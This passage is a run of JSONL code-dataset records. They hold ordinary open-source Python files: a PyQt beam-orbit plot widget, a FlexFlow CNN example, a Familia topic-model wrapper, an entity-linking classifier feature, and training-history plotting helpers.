vine_corr(5, 20)\nmodel_dict['beta'] = np.array([2, -2])\nmodel_dict['n_obs'] = 4000\ndf1, formula1 = generate_data(formula, model_dict, r=0.6**0.5)\n\n\nmodel1 = LME(formula1, df1)\nmodel1._fit()\n\n\n\n\ntimeit.timeit(\"model1.gradient(model1.theta)\", globals=globals(), number=1)\n\ntimeit.timeit(\"model1.hessian(model1.theta)\", globals=globals(), number=1)\n]\\\n\n", "source": "lukepinkel/pylmm", "license": "MIT"} {"text": "import math\nfrom PyQt5.QtWidgets import QGraphicsView, QGraphicsLineItem, QApplication, QMenu, QAction\nfrom PyQt5.QtGui import QColor, QBrush, QPen\nfrom PyQt5.QtCore import pyqtSlot, QLineF, QRectF, QPoint, QPointF, Qt\nfrom pyqtgraph import GraphicsLayoutWidget, PlotItem, ViewBox, GraphicsItem, GraphicsView, PlotDataItem, TextItem, ButtonItem\nfrom orbit import Orbit, BPM\nfrom bpm_line_item import BPMLineItem\nfrom magnet_view import MagnetView\nfrom PyQt5.QtCore import QTimer\n\nclass OrbitView(GraphicsLayoutWidget):\n def __init__(self, orbit=None, axis=\"X\", use_sector_ticks=True, parent=None, ymin=-1.0, ymax=1.0, name=None, label=None, units=None, draw_timer=None, magnet_list=None):\n super(OrbitView, self).__init__(parent=parent)\n axis = axis.lower()\n if axis not in [\"x\", \"y\", \"tmit\"]:\n raise Exception(\"Axis must be 'x', 'y', or 'tmit'\")\n self.axis = axis\n self.use_sector_ticks = use_sector_ticks\n self.sector_ticks = [[],[]]\n self.ci.layout.setSpacing(0.0)\n self.plotLabel = self.addLabel(text=name, row=0, col=0, rowspan=3, angle=-90)\n self.up_magnet_view = MagnetView(magnet_list=orbit, direction=\"up\")\n self.up_magnet_view.hideAxis('left')\n self.up_magnet_view.hideAxis('bottom')\n self.ci.layout.setRowStretchFactor(0,3)\n self.plotItem = self.addPlot(name=name, row=0, col=1)\n self.ci.layout.setRowStretchFactor(1,0)\n self.down_magnet_view = MagnetView(magnet_list=orbit, direction=\"down\")\n self.down_magnet_view.hideAxis('left')\n self.up_magnet_view.setXLink(self.plotItem)\n self.down_magnet_view.setXLink(self.plotItem)\n self.ci.layout.setRowStretchFactor(2,0)\n self.show_magnet_buttons = False\n if axis != \"tmit\" and magnet_list is not None:\n self.show_magnet_views(True)\n self.setViewportUpdateMode(QGraphicsView.BoundingRectViewportUpdate) # Greatly improves drawing performance.\n self.plotItem.setMouseEnabled(y=False)\n #Customize the right-click menu.\n self.plotItem.setMenuEnabled(enableMenu=False, enableViewBoxMenu=None)\n reset_view_range = QAction(\"Reset View Range\", self.plotItem.vb.menu)\n reset_view_range.triggered.connect(self.reset_range)\n self.plotItem.vb.scene().contextMenu = []\n existing_menu_actions = self.plotItem.vb.menu.actions()\n self.plotItem.vb.menu.insertAction(existing_menu_actions[0], reset_view_range)\n for action in existing_menu_actions:\n if str(action.text()) == \"View All\":\n self.plotItem.vb.menu.removeAction(action)\n self.plotItem.showGrid(y=True)\n #self.plotItem.getAxis('left').setStyle(tickTextWidth=60)\n #self.plotItem.getAxis('left').setStyle(autoExpandTextSpace=False)\n #if label is not None:\n # self.plotItem.getAxis('left').enableAutoSIPrefix(enable=False)\n # self.plotItem.getAxis('left').setLabel(text=label, units=units)\n self.bpm_brush = QBrush(QColor(0,255,0))\n self.energy_bpm_brush = QBrush(QColor(100,200,255))\n self.ymin = ymin #Y axis goes from self.ymin to self.ymax by default.\n self.ymax = ymax\n self.yminlimit = 10.0*ymin #This is the limit on the Y axis range.\n self.ymaxlimit = 10.0*ymax #This is the upper limit on the Y axis range.\n self.plotItem.setLimits(minYRange=0.04, maxYRange=abs(self.ymaxlimit - self.yminlimit))\n self.axis_pen = QPen(QBrush(QColor(255,255,255)), 0)\n self.axis_pen.setCapStyle(Qt.FlatCap)\n self.bpm_pen = QPen(self.bpm_brush, 2)\n self.bpm_pen.setCosmetic(True)\n self.bpm_pen.setCapStyle(Qt.FlatCap)\n self.no_beam_brush = QBrush(QColor(0,255,0,45))\n self.no_beam_pen = QPen(self.no_beam_brush, 2)\n self.no_beam_pen.setCosmetic(True)\n self.no_beam_pen.setCapStyle(Qt.FlatCap)\n self.energy_bpm_pen = QPen(self.energy_bpm_brush, 2)\n self.energy_bpm_pen.setCosmetic(True)\n self.energy_bpm_pen.setCapStyle(Qt.FlatCap)\n self.fit_brush = QBrush(QColor(255,255,255,255))\n self.fit_pen = QPen(self.fit_brush, 0)\n self.fit_pen.setCosmetic(True)\n self.fit_pen.setCapStyle(Qt.FlatCap)\n self.axis_line = QGraphicsLineItem(0.0,0.0,1.0,0.0)\n self.axis_line.setPen(self.axis_pen)\n self.plotItem.addItem(self.axis_line, ignoreBounds=True)\n self.lines = {}\n self.orbit = None\n self.needs_initial_range = True\n self.set_draw_timer(draw_timer)\n self._display_fit = False\n self.fit_data_item = None\n self.fit_options = {}\n if orbit is not None:\n self.set_orbit(orbit)\n \n def make_right_click_menu(self):\n menu = QMenu(self)\n return menu\n\n def display_fit(self, enabled=True):\n if enabled and self.fit_data_item is None:\n self.fit_data_item = PlotDataItem(pen=self.fit_pen)\n self.plotItem.addItem(self.fit_data_item)\n elif not enabled:\n self.plotItem.removeItem(self.fit_data_item)\n self.fit_data_item = None\n self._display_fit = enabled\n \n def set_draw_timer(self, new_timer, start=False):\n try:\n self.draw_timer.timeout.disconnect(self.redraw_bpms)\n except:\n pass\n if new_timer is None:\n new_timer = QTimer(self)\n new_timer.setInterval(int(1000/60))\n self.draw_timer = new_timer\n self.draw_timer.timeout.connect(self.redraw_bpms)\n if start:\n self.draw_timer.start()\n \n def set_orbit(self, orbit, reset_range=True):\n if self.orbit == orbit:\n return\n old_range = None\n old_zmax = None\n old_zmin = None\n if self.orbit is not None:\n old_range = self.plotItem.viewRect()\n old_zmax = self.orbit.zmax()\n old_zmin = self.orbit.zmin()\n self.clear_orbit()\n self.orbit = orbit\n extent = self.orbit.zmax() - self.orbit.zmin()\n self.plotItem.setLimits(xMin=self.orbit.zmin()-(0.02*extent), xMax=self.orbit.zmax()+(0.02*extent))\n self.plotItem.enableAutoRange(enable=False)\n self.axis_line.setLine(self.orbit.zmin(),0.0,self.orbit.zmax(),0.0)\n for bpm in self.orbit:\n line = BPMLineItem(bpm)\n self.lines[bpm.name] = line\n self.set_pen_for_bpm(bpm)\n self.plotItem.addItem(self.lines[bpm.name])\n if self.use_sector_ticks and (old_zmax != orbit.zmax() or old_zmin != orbit.zmin()):\n self.sector_ticks = [[],[]]\n self.sector_ticks[0] = self.orbit.sector_locations()\n unit_nums = [name.split(\":\")[-1] for name in self.orbit.names()]\n self.sector_ticks[1] = zip(self.orbit.z_vals(), unit_nums) \n self.plotItem.getAxis('bottom').setTicks(self.sector_ticks)\n self.plotItem.getAxis('bottom').setStyle(textFillLimits=[(0,0.72)])\n self.plotItem.showGrid(x=True)\n if reset_range or self.needs_initial_range:\n self.reset_range()\n self.needs_initial_range = False\n else:\n self.plotItem.setRange(old_range, padding=0.0, update=False)\n self.draw_timer.start()\n\n def show_magnet_views(self, enabled):\n if enabled == self.show_magnet_buttons:\n return\n self.show_magnet_buttons = enabled\n if enabled:\n self.addItem(self.up_magnet_view, row=1, col=1)\n self.addItem(self.down_magnet_view, row=2, col=1)\n self.up_magnet_view.setXLink(self.plotItem)\n self.down_magnet_view.setXLink(self.plotItem)\n else:\n self.removeItem(self.up_magnet_view)\n self.removeItem(self.down_magnet_view)\n \n def set_magnet_list(self, magnet_list):\n self.up_magnet_view.set_magnets(magnet_list, reset_range=False)\n self.down_magnet_view.set_magnets(magnet_list, reset_range=False)\n\n @pyqtSlot(bool)\n def reset_range(self, checked=False):\n self.plotItem.enableAutoRange(axis=ViewBox.XAxis)\n self.plotItem.setYRange(self.ymin, self.ymax)\n\n def wheelEvent(self, event):\n if event.modifiers() == Qt.ShiftModifier:\n numPixels = event.pixelDelta()\n numDegrees = event.angleDelta()\n if not numPixels.isNull():\n s = (1.005) ** (numPixels.y())\n else:\n s = (1.005) ** (numDegrees.y() * (-1.0/8.0))\n self.plotItem.vb.scaleBy(y=s)\n else:\n super(OrbitView, self).wheelEvent(event)\n \n def clear_orbit(self):\n self.draw_timer.stop()\n auto_range_x_enabled = self.plotItem.vb.state['autoRange'][0]\n auto_range_y_enabled = self.plotItem.vb.state['autoRange'][1]\n self.plotItem.enableAutoRange(enable=False)\n if self.orbit is None:\n return\n for bpm in self.orbit:\n self.plotItem.removeItem(self.lines[bpm.name])\n self.plotItem.enableAutoRange(x=auto_range_x_enabled, y=auto_range_y_enabled)\n self.lines = {}\n \n @pyqtSlot()\n def redraw_bpms(self):\n for bpm in self.orbit:\n self.set_pen_for_bpm(bpm)\n self.lines[bpm.name].setLine(bpm.z,0.0,bpm.z,bpm[self.axis])\n self.update_fit()\n\n def set_pen_for_bpm(self, bpm):\n if bpm.severity(self.axis) != 0:\n self.lines[bpm.name].setPen(self.no_beam_pen)\n else:\n if bpm.is_energy_bpm:\n self.lines[bpm.name].setPen(self.energy_bpm_pen)\n else:\n self.lines[bpm.name].setPen(self.bpm_pen)\n\n def update_fit(self):\n if not self._display_fit:\n return\n if self.orbit.fit_data is None:\n if self.fit_data_item is not None:\n self.fit_data_item.hide()\n return\n fit_data = None\n if self.axis == 'x':\n fit_data = self.orbit.fit_data['xpos']\n elif self.axis == 'y':\n fit_data = self.orbit.fit_data['ypos']\n self.fit_data_item.show()\n self.fit_data_item.setData(x=self.orbit.fit_data['zs'], y=fit_data)\n\n @pyqtSlot()\n def stop(self):\n self.draw_timer.stop()\n\n @pyqtSlot()\n def start(self):\n if self.orbit is not None:\n self.draw_timer.start()\n\n def setXLink(self, view):\n return self.plotItem.setXLink(view.plotItem)\n\n def setYLink(self, view):\n return self.plotItem.setYLink(view.plotItem)\n", "source": "mattgibbs/simui", "license": "BSD-3-Clause-LBNL"} {"text": "import torch.nn as nn\nimport torch\nfrom flexflow.torch.model import PyTorchModel\n\nclass CNN(nn.Module):\n def __init__(self):\n super().__init__()\n self.conv1 = nn.Conv2d(3, 32, 3, 1)\n self.conv2 = nn.Conv2d(32, 32, 3, 1)\n self.pool1 = nn.MaxPool2d(2, 2)\n self.conv3 = nn.Conv2d(32, 64, 3, 1)\n self.conv4 = nn.Conv2d(64, 64, 3, 1)\n self.pool2 = nn.MaxPool2d(2, 2)\n self.flat1 = nn.Flatten()\n self.linear1 = nn.Linear(512, 512)\n self.linear2 = nn.Linear(512, 10)\n self.relu = nn.ReLU()\n\n def forward(self, input1, input2):\n y1 = self.conv1(input1)\n y1 = self.relu(y1)\n y2 = self.conv1(input2)\n y2 = self.relu(y2)\n y = torch.cat((y1, y2), 1)\n (y1, y2) = torch.split(y, 1) \n y = torch.cat((y1, y2), 1)\n y = self.conv2(y)\n y = self.relu(y)\n y = self.pool1(y)\n y = self.conv3(y)\n y = self.relu(y)\n y = self.conv4(y)\n y = self.relu(y)\n y = self.pool2(y)\n y = self.flat1(y)\n y = self.linear1(y)\n y = self.relu(y)\n yo = self.linear2(y)\n return (yo, y)\n\nmodel = CNN()\nff_torch_model = PyTorchModel(model)\nff_torch_model.torch_to_file(\"cnn.ff\")\n\n", "source": "cmu-catalyst/FlexFlow", "license": "Apache-2.0"} {"text": "default_app_config = \"wagtail.tests.demosite.apps.DemositeAppConfig\"\n", "source": "Nawarrr/wagtail", "license": "BSD-3-Clause"} {"text": "name = \"autolrn\"\n\n__all__ = [\"classification\", \"regression\", \"datasets\", \"encoding\", \"getargs\"]", "source": "SimonCarozza/autolrn", "license": "MIT"} {"text": "#!/usr/bin/env python\nimport cPickle as pickle\n\nfrom .feature import Feature\nfrom .mapping import FEATURE_MAPPERS\nfrom ..model.resolution import Classifier\n\nfrom nel import logging\nlog = logging.getLogger()\n\nclass ClassifierFeature(Feature):\n \"\"\" Computes a feature score based on the output of a classifier over a set of features. \"\"\"\n def __init__(self, classifier=None, classifier_model_tag=None):\n if (classifier_model_tag is None) == (classifier is None):\n raise Exception('You must provide a classifier_model_tag or classifier instance, but not both.')\n self.classifier = classifier or Classifier.load(classifier_model_tag) \n\n\n def compute_doc_state(self, doc):\n doc = self.classifier.mapper(doc) \n\n def predict(self, fv):\n raise NotImplementedError # returns numerical prediction given a vector of features\n\n def compute(self, doc, chain, candidate, state):\n return self.predict(candidate.fv)\n\n@Feature.Extractable\nclass ClassifierScore(ClassifierFeature):\n \"\"\" Computes a feature score based on the output of the classifier decision function over a set of features. \"\"\"\n @property\n def id(self):\n return 'ClassifierScore[%s]' % self.classifier.name\n\n def predict(self, fv):\n return float(self.classifier.model.decision_function([fv]))\n\n@Feature.Extractable\nclass ClassifierProbability(ClassifierFeature):\n \"\"\" Computes a feature score based on the output probability of a classifier over a set of features. \"\"\"\n @property\n def id(self):\n return 'ClassifierProbability[%s]' % self.classifier.name\n\n def predict(self, fv):\n return self.classifier.model.predict_proba(fv)[0][1]\n \n", "source": "psyML/nel", "license": "MIT"} {"text": "#coding=utf-8\n\n# Copyright (c) 2017, Baidu.com, Inc. All Rights Reserved\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n#\n# Author: lianrongzhong@baidu.com\n\nimport sys\nimport familia\n\nclass InferenceEngineWrapper:\n \"\"\"InferenceEngineWrapper\n\n \u5bf9InferenceEngine\u8fdb\u884c\u5c01\u88c5\uff0c\u907f\u514d\u76f4\u63a5\u64cd\u4f5ctokenizer\u7b49\u5bf9\u8c61\u6307\u9488\n\n Attributes:\n _inference_engine: InferenceEngine\u5bf9\u8c61\u6307\u9488\uff0c\u7528\u6765\u8bbf\u95eeinfer\u63a5\u53e3\n _tokenizer: Tokenizer\u5bf9\u8c61\u6307\u9488\uff0c\u7528\u6765\u5206\u8bcd\n _emb_file: TopicalWordEmbeddings\u6a21\u578b\u6587\u4ef6\n _twe: TopicalWordEmbeddings\u5bf9\u8c61\u6307\u9488\uff0c\u5982\u679c_emb_file\u4e3a\u7a7a\u5219\u4e0d\u9700\u521b\u5efa\n \"\"\"\n\n def __init__(self, model_dir, conf_file, emb_file = None):\n \"\"\"\n \u521d\u59cb\u5316InferenceEngine,Tokenizer,TopicalWordEmbeddings\u5bf9\u8c61\u6307\u9488\n\n Args:\n model_dir: \u6a21\u578b\u76ee\u5f55\n conf_file: \u6a21\u578b\u914d\u7f6e\u6587\u4ef6\n emb_file: TWE\u6a21\u578b\u6587\u4ef6\uff0c\u53ef\u9009\u53c2\u6570\n \"\"\"\n self._emb_file = emb_file\n self._inference_engine = familia.init_inference_engine(model_dir, conf_file, 1)\n self._tokenizer = familia.init_tokenizer(model_dir + \"/vocab_info.txt\")\n if self._emb_file is None:\n return\n self._twe = familia.init_twe(model_dir, emb_file)\n\n def __del__(self):\n \"\"\"\u9500\u6bc1\u5404\u4e2a\u5bf9\u8c61\u6307\u9488\"\"\"\n familia.destroy_inference_engine(self._inference_engine)\n familia.destroy_tokenizer(self._tokenizer)\n if self._emb_file is not None:\n familia.destroy_twe(self._twe)\n\n def tokenize(self, input_text):\n \"\"\"\u5206\u8bcd\n\n \u7b80\u6613\u7684FMM\u5206\u8bcd\u5de5\u5177\uff0c\u53ea\u9488\u5bf9\u4e3b\u9898\u6a21\u578b\u4e2d\u51fa\u73b0\u7684\u8bcd\u8868\u8fdb\u884c\u6b63\u5411\u5339\u914d\n\n Args:\n input_text: \u8f93\u5165\u6587\u672c\uff0c\u7f16\u7801\u9700\u8981\u8ddf\u8bcd\u8868\u7f16\u7801\u4fdd\u6301\u4e00\u81f4\n\n Returns:\n \u8fd4\u56de\u4e00\u4e2alist\u5bf9\u8c61\uff0c\u5176\u4e2d\u6bcf\u4e2a\u5143\u7d20\u4e3a\u5206\u8bcd\u540e\u7684\u7ed3\u679c\u3002\n \"\"\"\n return familia.tokenize(self._tokenizer, input_text)\n\n def lda_infer(self, words):\n \"\"\"LDA\u6a21\u578b\u63a8\u65ad\n\n \u4f7f\u7528LDA\u6a21\u578b\u5bf9\u8f93\u5165\u6587\u672c\u8fdb\u884c\u63a8\u65ad\uff0c\u5f97\u5230\u5176\u4e3b\u9898\u5206\u5e03\n\n Args:\n words: \u5206\u8bcd\u540e\u7684list\u7ed3\u679c\n\n Returns:\n \u8fd4\u56de\u4e00\u4e2alist\u5bf9\u8c61\uff0c\u5b58\u653e\u8f93\u5165\u6587\u672c\u5bf9\u5e94\u7684\u7a00\u758f\u4e3b\u9898\u5206\u5e03\uff0clist\u4e2d\u6bcf\u4e2a\u5143\u7d20\u4e3atuple\n \u6bcf\u4e2atuple\u5305\u542b\u4e00\u4e2a\u4e3b\u9898ID\u4ee5\u53ca\u8be5\u4e3b\u9898\u5bf9\u5e94\u7684\u6982\u7387\uff0c\u6309\u7167\u6982\u7387\u4ece\u5927\u5230\u5c0f\u6392\u5e8f\u3002\n \u4f8b\u5982\uff1a\n [(15, 0.5), (10, 0.25), (1999, 0.25)]\n \"\"\"\n seg_text = ' '.join(words)\n return familia.lda_infer(self._inference_engine, seg_text)\n\n def slda_infer(self, sentences):\n \"\"\"SentenceLDA\u6a21\u578b\u63a8\u65ad\n\n \u4f7f\u7528SentenceLDA\u6a21\u578b\u5bf9\u8f93\u5165\u6587\u672c\u8fdb\u884c\u63a8\u65ad\uff0c\u5f97\u5230\u5176\u4e3b\u9898\u5206\u5e03\n\n Args:\n sentences: \u5176\u4e2d\u6bcf\u4e2a\u5143\u7d20\u4e3a\u4e00\u4e2alist\u5bf9\u8c61\uff0c\u5b58\u653e\u4e00\u4e2a\u53e5\u5b50\n \u4f8b\u5982\uff1a\n [[A, B, C], ..., [A, E, F]]\n\n Returns:\n \u8fd4\u56de\u4e00\u4e2alist\u5bf9\u8c61\uff0c\u5b58\u653e\u8f93\u5165\u6587\u672c\u5bf9\u5e94\u7684\u7a00\u758f\u4e3b\u9898\u5206\u5e03\uff0clist\u4e2d\u6bcf\u4e2a\u5143\u7d20\u4e3atuple\n \u6bcf\u4e2atuple\u5305\u542b\u4e00\u4e2a\u4e3b\u9898ID\u4ee5\u53ca\u8be5\u4e3b\u9898\u5bf9\u5e94\u7684\u6982\u7387\uff0c\u6309\u7167\u6982\u7387\u4ece\u5927\u5230\u5c0f\u6392\u5e8f\u3002\n \u4f8b\u5982\uff1a\n [(15, 0.5), (10, 0.25), (1999, 0.25)]\n \"\"\"\n seg_text = \"\"\n for sent in sentences:\n for word in sent:\n seg_text += word + ' '\n seg_text = seg_text.strip() + '\\t'\n seg_text = seg_text.strip()\n return familia.slda_infer(self._inference_engine, seg_text)\n\n def cal_doc_distance(self, doc1, doc2):\n \"\"\"\u8ba1\u7b97\u957f\u6587\u672c\u4e0e\u957f\u6587\u672c\u4e4b\u95f4\u7684\u8ddd\u79bb\n\n \u8ba1\u7b97\u4e24\u4e2a\u957f\u6587\u672c\u7684\u4e3b\u9898\u5206\u5e03\u4e4b\u95f4\u7684\u8ddd\u79bb\uff0c\u5305\u62ecjensen_shannon_divergence\u548chellinger_distance\n\n Args:\n doc1: \u8f93\u5165\u6587\u68631\uff0c\u65e0\u9700\u5206\u8bcd\n doc2: \u8f93\u5165\u6587\u68632\uff0c\u65e0\u9700\u5206\u8bcd\n\n Returns:\n \u8fd4\u56de\u4e00\u4e2alist\u5bf9\u8c61\uff0c\u5176\u4e2d\u6709\u4e24\u4e2afloat\u5143\u7d20\uff0c\u7b2c\u4e00\u4e2a\u8868\u793ajensen_shannon_divergence\u8ddd\u79bb\uff0c\n \u7b2c\u4e8c\u4e2a\u8868\u793ahellinger_distance\u8ddd\u79bb\u3002\u4f8b\u5982\uff1a\n [0.187232, 0.23431]\n \"\"\"\n return familia.cal_doc_distance(self._inference_engine,\n self._tokenizer,\n doc1,\n doc2)\n\n def cal_query_doc_similarity(self, query, doc):\n \"\"\"\u8ba1\u7b97\u77ed\u6587\u672c\u4e0e\u957f\u6587\u672c\u4e4b\u95f4\u7684\u76f8\u5173\u6027\n\n \u4f7f\u7528LDA\u6a21\u578b\u548cTWE\u6a21\u578b\u5206\u522b\u8861\u91cf\u77ed\u6587\u672c\u8ddf\u957f\u6587\u672c\u4e4b\u95f4\u7684\u76f8\u5173\u6027\n\n Args:\n query: \u8f93\u5165\u77ed\u6587\u672c\uff0c\u65e0\u9700\u5206\u8bcd\n doc: \u8f93\u5165\u957f\u6587\u672c\uff0c\u65e0\u9700\u5206\u8bcd\n\n Returns:\n \u8fd4\u56de\u4e00\u4e2alist\u5bf9\u8c61\uff0c\u5176\u4e2d\u6709\u4e24\u4e2afloat\u5143\u7d20\uff0c\u7b2c\u4e00\u4e2a\u8868\u793a\u6839\u636eLDA\u6a21\u578b\u5f97\u5230\u7684\u76f8\u5173\u6027\uff0c\n \u7b2c\u4e8c\u4e2a\u8868\u793a\u901a\u8fc7TWE\u6a21\u578b\u8861\u91cf\u5f97\u5230\u7684\u76f8\u5173\u6027\u3002\u4f8b\u5982\uff1a\n [0.397232, 0.45431]\n \"\"\"\n # \u5982\u679c\u6ca1\u6709\u52a0\u8f7dTWE\u6a21\u578b\u65e0\u6cd5\u8fdb\u884c\u8ba1\u7b97\n if self._emb_file is None:\n sys.stderr.write(\"Need to load Topical Word Embeddings file.\\n\")\n return\n return familia.cal_query_doc_similarity(self._inference_engine,\n self._tokenizer,\n self._twe,\n query,\n doc)\n\nclass TopicalWordEmbeddingsWrapper:\n \"\"\"Topical Word Embeddings Wrapper\n \u5bf9Topical Word Embeddings\u8fdb\u884c\u5305\u88c5\uff0c\u7b80\u5316\u51fd\u6570\u63a5\u53e3\n Attributes:\n _twe: \u6307\u5411TopicalWordEmbeddings\u7684\u5bf9\u8c61\u6307\u9488\n \"\"\"\n\n def __init__(self, model_dir, emb_file):\n \"\"\"\u521d\u59cb\u5316TWE\u5bf9\u8c61\n Args:\n model_dir: \u6a21\u578b\u76ee\u5f55\u8def\u5f84\n emb_file: topical word embeddings\u6a21\u578b\u6587\u4ef6\n \"\"\"\n self._twe = familia.init_twe(model_dir, emb_file)\n\n def __del__(self):\n \"\"\"\u9500\u6bc1TWE\u5bf9\u8c61\"\"\"\n if familia is not None:\n familia.destroy_twe(self._twe)\n\n def nearest_words(self, word, k = 10):\n \"\"\"\u5bfb\u6c42\u4e0e\u76ee\u6807\u8bcd\u6700\u76f8\u5173\u7684\u8bcd\n \u5bf9\u6a21\u578b\u4e2d\u7684\u6240\u6709\u8bcd\u8bed(\u4e0d\u5305\u54c8\u76ee\u6807\u8bcd)\u8fdb\u884c\u68c0\u7d22\uff0c\u901a\u8fc7\u8ba1\u7b97cosine\u76f8\u4f3c\u5ea6\uff0c\u8fd4\u56de\u6700\u76f8\u5173\u7684k\u4e2a\u8bcd\u8bed\n Args:\n word: \u76ee\u6807\u8bcd\n k: \u8bbe\u7f6e\u8fd4\u56de\u6700\u90bb\u8fd1\u8bcd\u7684\u4e2a\u6570\uff0c\u9ed8\u8ba4\u4e3a10\u4e2a\n Returns:\n \u8fd4\u56de\u4e00\u4e2alist\u5bf9\u8c61\uff0c\u957f\u5ea6\u4e3ak\uff0clist\u4e2d\u6bcf\u4e2a\u5143\u7d20\u4e3atuple\uff0c\u5305\u542b\u4e86\u8fd4\u56de\u8bcd\u4ee5\u53ca\u8be5\u8bcd\u4e0e\u76ee\u6807\u8bcd\u7684cosine\u76f8\u5173\u6027\uff0c\n \u5e76\u6309\u7167\u76f8\u5173\u6027\u4ece\u9ad8\u5230\u4f4e\u6392\u5e8f\u3002\u4f8b\u5982\u8f93\u5165\"\u7bee\u7403\"\u76ee\u6807\u8bcd\u8fd4\u56de\u524d10\u4e2a\u7ed3\u679c\uff1a\n [(\u7bee\u7403\u961f\uff0c0.833797),\n (\u6392\u7403\uff0c 0.833721)\n ...,\n (\u7bee\u7403\u5708, 0.752021)]\n \u5982\u679c\u8f93\u5165\u76ee\u6807\u8bcd\u4e0d\u5728\u8bcd\u5178\u4e2d\uff0c\u5219\u8fd4\u56deNone\u3002\n \"\"\"\n return familia.nearest_words(self._twe, word, k)\n\n def nearest_words_around_topic(self, topic_id, k = 10):\n \"\"\"\u5bfb\u6c42\u4e0e\u76ee\u6807\u4e3b\u9898\u6700\u76f8\u5173\u7684\u8bcd\n \u5bf9\u6a21\u578b\u4e2d\u7684\u6240\u6709\u8bcd\u8bed\u8fdb\u884c\u68c0\u7d22\uff0c\u901a\u8fc7\u8ba1\u7b97cosine\u76f8\u4f3c\u5ea6\uff0c\u8fd4\u56de\u6700\u76f8\u5173\u7684k\u4e2a\u8bcd\u8bed\n Args:\n topic_id: \u76ee\u6807\u4e3b\u9898ID\n k: \u8bbe\u7f6e\u8fd4\u56de\u6700\u90bb\u8fd1\u8bcd\u7684\u4e2a\u6570\uff0c\u9ed8\u8ba4\u4e3a10\u4e2a\n Returns:\n \u8fd4\u56de\u4e00\u4e2alist\u5bf9\u8c61\uff0c\u957f\u5ea6\u4e3ak\uff0clist\u4e2d\u6bcf\u4e2a\u5143\u7d20\u4e3atuple\uff0c\u5305\u542b\u4e86\u8fd4\u56de\u8bcd\u4ee5\u53ca\u8be5\u8bcd\u4e0e\u76ee\u6807\u4e3b\u9898\u7684cosine\u76f8\u5173\u6027\uff0c\n \u5e76\u6309\u7167\u76f8\u5173\u6027\u4ece\u9ad8\u5230\u4f4e\u6392\u5e8f\u3002\u4f8b\u5982\u8f93\u5165\u4e3b\u9898ID\"356\",\u8fd4\u56de\u524d10\u4e2a\u7ed3\u679c\uff1a\n [(\u7eff\u8272\uff0c0.908283),\n (\u4f4e\u78b3\uff0c 0.857772)\n ...,\n (\u73af\u4fdd\u578b, 0.658591)]\n \u5982\u679c\u8f93\u5165\u76ee\u6807\u4e3b\u9898\u8d85\u51fa\u8303\u56f4\uff0c\u5219\u8fd4\u56deNone\u3002\n \"\"\"\n return familia.nearest_words_around_topic(self._twe, topic_id, k)\n", "source": "Maxprofs/Familia", "license": "BSD-3-Clause"} {"text": "import numpy as np\nimport tensorflow.keras\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport config\n# from train import load_model\nfrom datasets import prepare_learning_data\n\ndef showHistory(history, model):\n# %matplotlib inline\n # -------------------- Plot model and history of training ----------------------\n # plot_model(model, to_file='regression-model.png', show_shapes=True, show_layer_names=True)\n # print(history.history.keys())\n \n # \"MSE\"\n fs = 28\n plt.figure(figsize=(12,8))\n plt.subplot()\n plt.plot(history.history['mse'], linewidth=4)\n plt.plot(history.history['val_mse'], linewidth=4)\n# plt.title('model MSE')\n plt.ylabel('mean squared error', fontsize=fs)\n plt.xlabel('epoch', fontsize=fs)\n plt.legend(['train', 'validation'], loc='upper right', fontsize=fs)\n plt.xticks(fontsize=fs)\n plt.yticks(fontsize=fs)\n plt.xticks(np.arange(0.0, config.EPOCH+1.0, step=400))\n xmin, xmax, ymin, ymax = plt.axis()\n plt.text(0, (1.03)*ymax, 'B', fontsize=fs+8)\n plt.tight_layout()\n plt.savefig('figs/MSE_E'+str(config.EPOCH)+'.pdf', dpi=300, bbox_inches='tight')\n plt.show()\n print('min training mse', np.array(history.history['mse']).min())\n print('min validation mse', np.array(history.history['val_mse']).min())\n print('training mse at last epoch', np.array(history.history['mse'])[-1])\n print('validation mse at last epoch', np.array(history.history['val_mse'])[-1])\n\n\n # \"Loss\"\n plt.figure(figsize=(12,8))\n plt.subplot()\n plt.plot(history.history['loss'], linewidth=4)\n plt.plot(history.history['val_loss'], linewidth=4,) # alpha=0.7)\n # plt.title('model loss')\n# plt.ylabel('loss (mean_absolute_percentage_error)')\n plt.ylabel('loss (%)', fontsize=fs)\n plt.xlabel('epoch', fontsize=fs)\n plt.legend(['train', 'validation'], loc='upper right',fontsize=fs)\n plt.xticks(fontsize=fs)\n plt.yticks(fontsize=fs)\n plt.xticks(np.arange(0.0, config.EPOCH+1.0, step=400))\n xmin, xmax, ymin, ymax = plt.axis()\n plt.text(0, (1.03)*ymax, 'A', fontsize=fs+8)\n plt.tight_layout()\n plt.savefig('figs/loss_E'+str(config.EPOCH)+'.pdf', dpi=300, bbox_inches='tight')\n plt.show()\n print('min training loss', np.array(history.history['loss']).min())\n print('min validation loss', np.array(history.history['val_loss']).min())\n print('training loss at last epoch', np.array(history.history['loss'])[-1])\n print('validation loss at last epoch', np.array(history.history['val_loss'])[-1])\n \n \n \ndef showPredictionXY(Y_train, predictions_train, Y_test, predictions_test):\n fs = 28\n Nstep = 1 #round(self.nb_realization/500)\n plt.figure(figsize=(12,8))\n plt.subplot()\n plt.plot(Y_train[::Nstep], predictions_train[::Nstep], 'or', markersize=fs-16, fillstyle='none', label='train')\n# plt.plot(Y_test, predictions_test, ',g', markersize=fs-0, fillstyle='none', label='test', alpha=0.2)\n plt.plot(Y_test[::Nstep], predictions_test[::Nstep], '.g', markersize=fs-12, label='test', alpha=0.5)\n plt.plot([0, 0.5, 1], [0, 0.5, 1], 'k', linewidth=2.5, label='y=x')\n# plt.plot([np.amin(Y_train), 0.5, np.amax(Y_train)], [np.amin(Y_train), 0.5, np.amax(Y_train)], 'k')\n plt.xlabel('$\\eta$', fontsize=fs)\n plt.ylabel('predicted $\\eta$', fontsize=fs)\n plt.legend(loc='upper left', fontsize=fs)\n plt.xticks(fontsize=fs)\n plt.yticks(fontsize=fs)\n xmin, xmax, ymin, ymax = plt.axis()\n plt.text(0, (1.05)*ymax, 'A', fontsize=fs+8)\n plt.savefig('figs/predicted_eta_E'+str(config.EPOCH)+'.png', dpi=300, bbox_inches='tight')\n plt.savefig('figs/predicted_eta_E'+str(config.EPOCH)+'.pdf', dpi=300, bbox_inches='tight')\n plt.show()\n\n \n # histogram\n plt.subplot()\n plt.hist(np.concatenate((Y_train,Y_test), axis=0) )\n plt.xlabel('$\\eta$')\n plt.ylabel('# occurance')\n plt.savefig('figs/hist_eta_E'+str(config.EPOCH)+'.pdf', 